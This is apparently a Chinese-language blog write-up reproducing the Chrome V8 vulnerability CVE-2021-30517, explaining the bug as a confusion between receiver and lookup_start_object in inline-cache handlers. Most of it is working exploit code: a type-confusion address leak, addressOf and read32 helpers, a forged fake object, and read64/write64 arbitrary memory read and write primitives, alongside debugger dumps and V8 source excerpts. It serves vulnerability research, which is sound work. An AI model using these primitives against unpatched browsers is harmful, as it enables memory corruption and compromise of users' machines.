复现CVE-2021-30517
第五个研究的是CVE-2021-30517
,其chrome的bug编号为:1203122
可以很容易找到其相关信息:
受影响的Chrome最高版本为:90.0.4430.93
受影响的V8最高版本为:9.0.257.23
相关PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function main() { class C { m() { super.prototype } } function f() {} C.prototype.__proto__ = f
let c = new C() c.x0 = 1 c.x1 = 1 c.x2 = 1 c.x3 = 1 c.x4 = 0x42424242 / 2
f.prototype c.m() } for (let i = 0; i < 0x100; ++i) { main() }
|
在Chrome的bug信息页面除了poc外,同时也公布了exp,有需要的可自行下载研究。
搭建环境
一键编译相关环境:
套模版
该PoC跟上篇文章的PoC相似度很高,原理也相似,所以可以尝试上文的堆喷技术来写该漏洞的EXP,但是该漏洞还存在另一个PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| obj = {a:1}; obj_array = [obj]; %DebugPrint(obj_array); function main() { class C { m() { return super.length; } } f = new String("aaaa"); C.prototype.__proto__ = f
let c = new C() c.x0 = obj_array; f.length; return c.m(); } for (let i = 0; i < 0x100; ++i) { r = main() if (r != 4) { console.log(r); break; } }
|
运行PoC,得到结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| DebugPrint: 0x322708088a01: [JSArray] - map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x32270820b899 <JSArray[0]> - elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x32270804222d <FixedArray[0]> - All own properties (excluding elements): { 0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x3227080889f5 <FixedArray[1]> { 0: 0x3227080889c9 <Object map = 0x322708247141> }
134777333 hex(134777333) = 0x80889f5
|
最后返回的length
等于obj_array
变量的elements
地址。理解了上文对类型混淆的讲解,应该能看懂上述的PoC,该PoC通过String和Array类型混淆,从而泄漏出obj_array
变量的elements
。根据该逻辑我们来编写EXP。
泄漏变量地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| obj = {a:1}; obj_array = [obj]; class C { constructor() { this.x0 = obj_array; } m() { return super.length; } } let receive = new C(); function trigger1() { lookup_start_object = new String("aaaa"); C.prototype.__proto__ = lookup_start_object; lookup_start_object.length; return receive.m() } for (let i = 0; i < 140; ++i) { trigger1(); } element = trigger1();
|
编写addressOf函数
在上面的基础上,编写addressOf
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; receive2.length = (element-0x1)/2; low3 = trigger2(); receive2.length = (element-0x1+0x2)/2; hi1 = trigger2(); res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000); return res-1; }
class B extends Array { m() { return super.length; } } let receive2 = new B(); function trigger2() { lookup_start_object = new String("aaaa"); B.prototype.__proto__ = lookup_start_object; lookup_start_object.length; return receive2.m() } for (let i = 0; i < 140; ++i) { trigger2(); }
|
改addressOf
函数与之前的文章中编写的,稍显复杂了一些,这里做一些解释。
receive2
的length
属性属于SMI类型,储存在内存中的值为偶数,其值除以2,就是真正的SMI的值。
String
对象读取length
的路径为:String->value(String+0xB)->length(*value+0x7)
因为receive2
对象通过漏洞被认为了是String
对象,所以receive2+0xB
的值为receive2.length
属性的值。
所以我们可以通过receive2.length
来设置value
的值,但是只能设置为偶数,而正确的值应该为奇数,所以这里我们需要读两次,然后通过位运算,还原出我们实际需要的值。
编写read32函数
跟之前的模版不同,该漏洞能让我们在不构造fake_obj
的情况下编写任意读函数,为了后续利用更方便,所以该漏洞的EXP我们加入了read32
函数:
1 2 3 4 5 6 7 8 9
| function read32(addr) { receive2.length = (addr-0x8)/2; low3 = trigger2(); receive2.length = (addr-0x8+0x2)/2; hi1 = trigger2(); res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000); return res; }
|
原理和addressOf
一样。
编写read64函数
因为该漏洞的特性,我们这次不需要编写fakeObject
函数,所以接下来我们需要构造fake_obj
来编写read64
函数。
多调试一下我们前文使用的PoC,该PoC只能泄漏地址,但是没办法让我们得到一个伪造的对象。但是文章的最开始,Chrome的bug页面中给的PoC,却可以让我们得到一个对象。因为是把函数的prototype对象进行类型混淆。
构造fake_obj
的代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5]; var fake_array_addr = addressOf(fake_array); fake_array_map = read32(fake_array_addr); fake_array_map_map = read32(fake_array_map-1); fake_array_ele = read32(fake_array_addr+8) + 8; fake_array[0] = u2d(fake_array_map, 0); fake_array[1] = u2d(0x41414141, 0x2); fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000); fake_array[3] = 0; fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);
class A extends Array { constructor() { super(); this.x1 = 1; this.x2 = 2; this.x3 = 3; this.x4 = (fake_array_ele-1+0x10+2) / 2; } m() { return super.prototype; } } let receive3 = new A(); function trigger3() { function lookup_start_object(){}; A.prototype.__proto__ = lookup_start_object; lookup_start_object.prototype; return receive3.m() } for (let i = 0; i < 140; ++i) { trigger3(); } fake_object = trigger3();
|
通过调试我们可以发现,函数lookup_start_object
获取prototype
对象的路径为:lookup_start_object->function prototype(lookup_start_object+0x1B)
,如果该地址的map
为表示类型的对象,如下所以:
1 2 3 4 5 6 7 8
| 0x257d08242281: [Map] - type: JS_FUNCTION_TYPE - instance size: 32 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map
|
改对象的特点为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> x/2gx 0x257d08242281-1 0x257d08242280: 0x1408080808042119 0x084017ff19c20423 pwndbg> x/2gx 0x257d00000000+0xC0 0x257d000000c0: 0x0000257d08042119 0x0000257d08042509 pwndbg> job 0x257d08042119 0x257d08042119: [Map] in ReadOnlySpace - type: MAP_TYPE - instance size: 40 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - non-extensible - back pointer: 0x257d080423b5 <undefined> - prototype_validity cell: 0 - instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)> - prototype: 0x257d08042235 <null> - constructor: 0x257d08042235 <null> - dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
|
如果lookup_start_object+0x1B
执行的地址的map
值为0x08242281
,则获取其prototype(+0xF)
在上述的PoC中:fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
就是在伪造MAP类型的map。
该地址加上0xf
:fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);
,指向了fake_array
的开始:
1 2
| fake_array[0] = u2d(fake_array_map, 0); fake_array[1] = u2d(0x41414141, 0x2);
|
而最开始,就是我们伪造的浮点型数组。有了fake_obj
之后我们就可以编写read64
函数了:
1 2 3 4 5
| function read64(addr) { fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2); return fake_object[0]; }
|
编写write64函数
然后就是write64
函数:
1 2 3 4 5
| function write64(addr, data) { fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2); fake_object[0] = itof(data); }
|
其他
剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。
漏洞简述
上述伪造fake_obj
的逻辑中,v8返回函数的prototype
的逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function, Label* if_bailout) { CSA_ASSERT(this, TaggedIsNotSmi(function)); CSA_ASSERT(this, IsJSFunction(function)); CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)), 1 << Map::kHasNonInstancePrototype)); Node* proto_or_map = LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset); GotoIf(IsTheHole(proto_or_map), if_bailout); VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map); Label done(this, &var_result); GotoIfNot(IsMap(proto_or_map), &done); -> 判断是否为MAP对象 var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是,则返回其prototype,偏移为0xf Goto(&done); BIND(&done); return var_result.value(); }
|
该漏洞的原理在Chrome的bug描述页面也有说明,就是receiver
和lookup_start_object
搞混了。
下例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| class A extends Array { constructor() { super(); this.x1 = 1; this.x2 = 2; this.x3 = 3; this.x4 = (fake_array_ele-1+0x10+2) / 2; } m() { return super.prototype; } } let receive3 = new A();
|
其中变量receive3
就是receiver
,而lookup_start_object
为A.prototype.__proto__
。
然后就是以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) { Handle<Object> receiver = lookup->GetReceiver(); ReadOnlyRoots roots(isolate()); if (!IsAnyHas() && !lookup->IsElement()) { if (receiver->IsString() && *lookup->name() == roots.length_string()) { TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength); return BUILTIN_CODE(isolate(), LoadIC_StringLength); } if (receiver->IsStringWrapper() && *lookup->name() == roots.length_string()) { TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength); return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength); } if (receiver->IsJSFunction() && *lookup->name() == roots.prototype_string() && !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) { TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub); return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype); } } Handle<Map> map = lookup_start_object_map(); Handle<JSObject> holder; bool holder_is_lookup_start_object; if (lookup->state() != LookupIterator::JSPROXY) { holder = lookup->GetHolder<JSObject>(); holder_is_lookup_start_object = lookup->lookup_start_object().is_identical_to(holder); }
|
当获取函数的prototype
属性或者字符串对象获取其length
属性时(也就是super.prototype(super.length)
),使用的是receiver
而不是A.prototype.__proto__
。
上述代码为ICs的优化代码,在没有进行inline cache的情况下,漏洞并不会发生。